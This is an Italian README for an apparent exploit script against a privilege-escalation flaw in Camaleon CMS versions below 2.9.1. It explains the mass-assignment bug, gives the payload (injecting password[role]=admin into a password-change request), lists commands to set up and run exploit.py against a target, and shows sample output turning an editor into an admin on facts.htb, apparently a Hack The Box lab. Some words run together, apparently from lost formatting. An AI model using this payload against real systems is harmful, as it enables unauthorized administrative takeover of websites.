
Vulnerabilità di escalation dei privilegi in Camaleon CMS < 2.9.1.
Vulnerabilità di escalation dei privilegi in Camaleon CMS < 2.9.1. L'endpoint
updated_ajaxinUsersControllerchiamaparams.require(:password).permit!senza filtrare, consentendo l'assegnazione di massa di qualsiasi parametro. Un utente autenticato con privilegi bassi può escalare ad admin iniettandopassword[role]=admininsieme a una richiesta di cambio password.
/admin/users/<id>/updated_ajax con password[role]=admin iniettato nei parametri della password.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
Esempio:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.